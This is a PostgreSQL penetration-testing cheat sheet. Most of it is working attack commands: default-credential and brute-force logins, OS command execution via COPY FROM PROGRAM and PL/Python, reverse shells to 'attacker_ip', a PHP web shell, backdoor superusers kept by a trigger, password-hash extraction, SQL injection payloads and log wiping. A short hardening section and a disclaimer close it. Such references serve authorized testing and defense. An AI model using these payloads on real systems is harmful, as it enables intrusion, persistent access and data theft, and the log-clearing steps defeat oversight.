PostgreSQL

Table of Contents¶

Reconnaissance & Enumeration
Default Credentials
Connection Methods
Information Gathering
Privilege Escalation
Command Execution
File System Access
Persistence
Post-Exploitation
Common Vulnerabilities
Defense Evasion
Tools

Reconnaissance & Enumeration¶

Port Scanning¶

# Default PostgreSQL port
nmap -p 5432 <target>

# Comprehensive scan
nmap -p 5432 -sV -sC <target>

# All PostgreSQL related ports
nmap -p 5432,5433 <target>

Service Detection¶

# Banner grabbing
nc -nv <target> 5432

# Nmap scripts
nmap -p 5432 --script pgsql-brute <target>
nmap -p 5432 --script=pgsql-databases <target>

Network Enumeration¶

# Check if PostgreSQL is exposed
masscan -p5432 <network_range> --rate=1000

Default Credentials¶

Common Default Credentials¶

Username: postgres
Password: postgres

Username: postgres
Password: password

Username: postgres
Password: admin

Username: postgres
Password: (blank)

Username: admin
Password: admin

Testing Default Credentials¶

psql -h <target> -U postgres -W

Connection Methods¶

Using psql¶

# Basic connection
psql -h <host> -p 5432 -U <username> -d <database>

# Connection with password
PGPASSWORD=<password> psql -h <host> -U <username> -d <database>

# Connection string
psql "postgresql://<username>:<password>@<host>:5432/<database>"

# SSL connection
psql "postgresql://<username>:<password>@<host>:5432/<database>?sslmode=require"

Using Python¶

import psycopg2

conn = psycopg2.connect(
    host="<host>",
    port=5432,
    user="<username>",
    password="<password>",
    database="<database>"
)

Using Metasploit¶

use auxiliary/scanner/postgres/postgres_login
set RHOSTS <target>
set USERNAME postgres
set PASSWORD postgres
run

Information Gathering¶

Version Information¶

SELECT version();
SHOW server_version;

Database Enumeration¶

-- List all databases
SELECT datname FROM pg_database;
\l

-- Current database
SELECT current_database();

-- Database size
SELECT pg_size_pretty(pg_database_size('database_name'));

User Enumeration¶

-- List all users/roles
SELECT usename FROM pg_user;
SELECT rolname FROM pg_roles;
\du

-- Current user
SELECT current_user;
SELECT user;

-- Check if superuser
SELECT usesuper FROM pg_user WHERE usename = 'current_user';

Table Enumeration¶

-- List all tables
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
\dt

-- List all schemas
SELECT schema_name FROM information_schema.schemata;
\dn

-- Table structure
\d+ table_name
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'table_name';

Sensitive Information¶

-- Password hashes
SELECT usename, passwd FROM pg_shadow;

-- Configuration files location
SHOW config_file;
SHOW hba_file;
SHOW data_directory;

-- Active connections
SELECT * FROM pg_stat_activity;

Privilege Escalation¶

Check Current Privileges¶

-- Current user privileges
SELECT * FROM information_schema.role_table_grants WHERE grantee = CURRENT_USER;

-- Check if current user can create databases
SELECT rolcreatedb FROM pg_roles WHERE rolname = current_user;

-- Check if current user can create roles
SELECT rolcreaterole FROM pg_roles WHERE rolname = current_user;

Creating Privileged Users¶

-- Create superuser (requires CREATEROLE privilege)
CREATE ROLE newadmin WITH SUPERUSER LOGIN PASSWORD 'password';

-- Grant all privileges
GRANT ALL PRIVILEGES ON DATABASE database_name TO username;

Privilege Abuse¶

-- If you have CREATEROLE, create a superuser
CREATE ROLE attacker WITH SUPERUSER LOGIN PASSWORD 'P@ssw0rd';

-- Alter existing user to superuser
ALTER USER username WITH SUPERUSER;

Command Execution¶

Using COPY FROM PROGRAM (PostgreSQL 9.3+)¶

-- Requires superuser or pg_execute_server_program role
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(cmd_output text);

COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

-- Other commands
COPY cmd_output FROM PROGRAM 'whoami';
COPY cmd_output FROM PROGRAM 'cat /etc/passwd';
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"';

Using COPY TO PROGRAM (PostgreSQL 9.3+)¶

CREATE TABLE test(text text);
INSERT INTO test VALUES ('test data');
COPY test TO PROGRAM 'nc attacker_ip 4444';

Using PL/Python (if enabled)¶

-- Check if PL/Python is available
SELECT * FROM pg_language WHERE lanname = 'plpythonu';

-- Enable PL/Python (requires superuser)
CREATE LANGUAGE plpythonu;

-- Execute commands
CREATE FUNCTION system(command text) RETURNS text AS $$
import os
return os.popen(command).read()
$$ LANGUAGE plpythonu;

SELECT system('whoami');
SELECT system('cat /etc/passwd');

Using PL/Perl (if enabled)¶

-- Check if PL/Perl is available
SELECT * FROM pg_language WHERE lanname = 'plperlu';

-- Enable PL/Perl (requires superuser)
CREATE LANGUAGE plperlu;

-- Execute commands
CREATE FUNCTION system(command text) RETURNS text AS $$
return `$_[0]`;
$$ LANGUAGE plperlu;

SELECT system('whoami');

Using PL/sh (rare)¶

CREATE OR REPLACE FUNCTION system(cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

SELECT system('nc attacker_ip 4444 -e /bin/sh');

File System Access¶

Reading Files¶

-- Using COPY
CREATE TABLE file_read(content text);
COPY file_read FROM '/etc/passwd';
SELECT * FROM file_read;

-- Using pg_read_file (PostgreSQL 9.1+)
SELECT pg_read_file('/etc/passwd', 0, 1000000);

-- Using lo_import
SELECT lo_import('/etc/passwd');
SELECT lo_get(oid) FROM pg_largeobject WHERE oid = <oid>;

Writing Files¶

-- Using COPY TO
COPY (SELECT 'malicious content') TO '/tmp/evil.txt';

-- Using pg_write_file (requires superuser)
CREATE TABLE file_write(content text);
INSERT INTO file_write VALUES ('<?php system($_GET["cmd"]); ?>');
COPY file_write TO '/var/www/html/shell.php';

-- Using lo_export
SELECT lo_from_bytea(0, decode('base64_encoded_content', 'base64'));
SELECT lo_export(oid, '/tmp/file.txt') FROM pg_largeobject WHERE oid = <oid>;

Directory Listing¶

-- Using pg_ls_dir (PostgreSQL 9.1+)
SELECT pg_ls_dir('/etc/');
SELECT pg_ls_dir('/var/www/html/');

Persistence¶

Creating Backdoor Users¶

-- Create hidden superuser
CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'P@ssw0rd';

-- Rename existing user
ALTER USER backdoor RENAME TO normal_user;

Modifying Authentication¶

-- Check current authentication methods
SELECT * FROM pg_hba_file_rules;

-- Note: Modifying pg_hba.conf requires file system access
-- Add: host all all 0.0.0.0/0 trust

Creating Persistent Functions¶

-- Create function that maintains access
CREATE OR REPLACE FUNCTION maintain_access() RETURNS trigger AS $$
BEGIN
    IF NOT EXISTS (SELECT 1 FROM pg_user WHERE usename = 'backdoor') THEN
        EXECUTE 'CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD ''P@ssw0rd''';
    END IF;
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER maintain_trigger AFTER INSERT ON some_frequently_used_table
FOR EACH ROW EXECUTE FUNCTION maintain_access();

Post-Exploitation¶

Data Exfiltration¶

-- Export entire database
pg_dump -h <host> -U <username> database_name > dump.sql

-- Export specific table
COPY table_name TO '/tmp/table_data.csv' CSV HEADER;

-- Export query results
COPY (SELECT * FROM users WHERE sensitive = true) TO '/tmp/sensitive_data.csv' CSV;

Extracting Password Hashes¶

-- PostgreSQL password hashes (MD5)
SELECT usename, passwd FROM pg_shadow;

-- Convert to crackable format
-- Format: postgres$username$hash
-- Example: postgres$user$md5<hash>

Credential Harvesting¶

-- Look for stored credentials in application tables
SELECT * FROM information_schema.tables WHERE table_name LIKE '%user%' OR table_name LIKE '%password%' OR table_name LIKE '%credential%';

-- Search for sensitive columns
SELECT table_name, column_name FROM information_schema.columns 
WHERE column_name LIKE '%password%' OR column_name LIKE '%passwd%' OR column_name LIKE '%pwd%';

Lateral Movement¶

-- Check for linked databases or servers
SELECT * FROM pg_foreign_server;
SELECT * FROM pg_user_mappings;

-- Check for dblink extension
SELECT * FROM pg_extension WHERE extname = 'dblink';

Common Vulnerabilities¶

SQL Injection Testing¶

-- Basic SQLi tests
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
admin' #
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

-- PostgreSQL specific
'; COPY temp FROM PROGRAM 'whoami'--
'; CREATE TABLE cmd_output(output text); COPY cmd_output FROM PROGRAM 'id'; SELECT * FROM cmd_output--

Weak Configurations¶

-- Check for trust authentication
-- In pg_hba.conf: host all all 0.0.0.0/0 trust

-- Check for weak SSL configuration
SHOW ssl;
SHOW ssl_cert_file;

CVE Exploits¶

# CVE-2019-9193 - Copy from program
# Requires PostgreSQL 9.3 to 11.2

# CVE-2018-1058 - Search path manipulation
# Create trojan functions in public schema

# Check PostgreSQL version for known CVEs
searchsploit postgresql

Defense Evasion¶

Cleaning Logs¶

-- Truncate log tables
TRUNCATE TABLE pg_stat_statements;

-- Clear command history
\! rm ~/.psql_history

-- Disable logging temporarily (requires superuser)
ALTER SYSTEM SET log_statement = 'none';
SELECT pg_reload_conf();

Hiding Activities¶

-- Terminate your own connection from logs
SELECT pg_terminate_backend(pg_backend_pid());

-- Create temporary tables (less likely to be monitored)
CREATE TEMPORARY TABLE temp_data AS SELECT * FROM sensitive_table;

Tools¶

Automated Tools¶

# Metasploit modules
use auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_version
use auxiliary/admin/postgres/postgres_sql
use exploit/linux/postgres/postgres_payload

# SQLMap
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --dump
sqlmap -d "postgresql://user:pass@host:5432/db" --dump

# Nmap scripts
nmap --script pgsql-brute -p 5432 <target>
nmap --script pgsql-databases -p 5432 <target>

Manual Tools¶

# psql - PostgreSQL client
psql -h <host> -U <username> -d <database>

# pgAdmin - GUI tool
# Web-based administration tool

# pg_dump - Database backup
pg_dump -h <host> -U <username> database_name > backup.sql

# pg_restore - Restore database
pg_restore -h <host> -U <username> -d database_name backup.dump

Python Scripts¶

# Basic connection and enumeration
import psycopg2

def connect_and_enum(host, user, password, database):
    try:
        conn = psycopg2.connect(
            host=host,
            user=user,
            password=password,
            database=database
        )
        cur = conn.cursor()

        # Get version
        cur.execute("SELECT version();")
        print(f"Version: {cur.fetchone()[0]}")

        # List databases
        cur.execute("SELECT datname FROM pg_database;")
        print("Databases:", [row[0] for row in cur.fetchall()])

        # List tables
        cur.execute("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';")
        print("Tables:", [row[0] for row in cur.fetchall()])

        cur.close()
        conn.close()
    except Exception as e:
        print(f"Error: {e}")

Best Practices for Pentesters¶

Legal Considerations¶

Always obtain written authorization before testing
Stay within the scope of engagement
Document all actions taken
Report vulnerabilities responsibly

Operational Security¶

Use VPNs or authorized networks
Clean up artifacts after testing
Don't disrupt production systems
Maintain confidentiality of findings

Reporting¶

Document all discovered vulnerabilities
Provide proof of concept (PoC) for critical issues
Include remediation recommendations
Prioritize findings by severity

Defensive Recommendations¶

Security Hardening¶

-- Enforce strong passwords
ALTER SYSTEM SET password_encryption = 'scram-sha-256';

-- Restrict network access in pg_hba.conf
-- host all all 10.0.0.0/8 scram-sha-256

-- Disable trust authentication
-- Remove any 'trust' entries from pg_hba.conf

-- Enable SSL
ALTER SYSTEM SET ssl = on;

-- Set proper file permissions
-- chmod 600 postgresql.conf
-- chmod 600 pg_hba.conf

Monitoring and Detection¶

-- Enable query logging
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET log_connections = on;
ALTER SYSTEM SET log_disconnections = on;

-- Monitor failed login attempts
ALTER SYSTEM SET log_duration = on;

-- Enable pgAudit extension
CREATE EXTENSION pgaudit;

Access Controls¶

-- Principle of least privilege
REVOKE ALL ON DATABASE database_name FROM public;
GRANT CONNECT ON DATABASE database_name TO specific_user;

-- Remove public schema privileges
REVOKE ALL ON SCHEMA public FROM public;

-- Disable dangerous functions for non-superusers
REVOKE EXECUTE ON FUNCTION pg_read_file FROM public;
REVOKE EXECUTE ON FUNCTION pg_ls_dir FROM public;

Quick Reference Commands¶

One-Liners¶

# Brute force login
hydra -L users.txt -P passwords.txt <host> postgres

# Check if PostgreSQL is exposed
nmap -p 5432 --open <network_range>

# Quick enumeration
psql -h <host> -U postgres -c "SELECT version();"

# Export all databases
pg_dumpall -h <host> -U postgres > all_databases.sql

Emergency Response¶

-- Kill all connections to a database
SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = 'target_db';

-- Lock down a user account
ALTER USER suspicious_user WITH NOLOGIN;

-- Check for active suspicious queries
SELECT pid, usename, query FROM pg_stat_activity WHERE state = 'active';

Resources¶

Disclaimer

This cheatsheet is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal and punishable by law. Always obtain proper written authorization before conducting penetration tests. The techniques described here should only be used in controlled environments with explicit permission.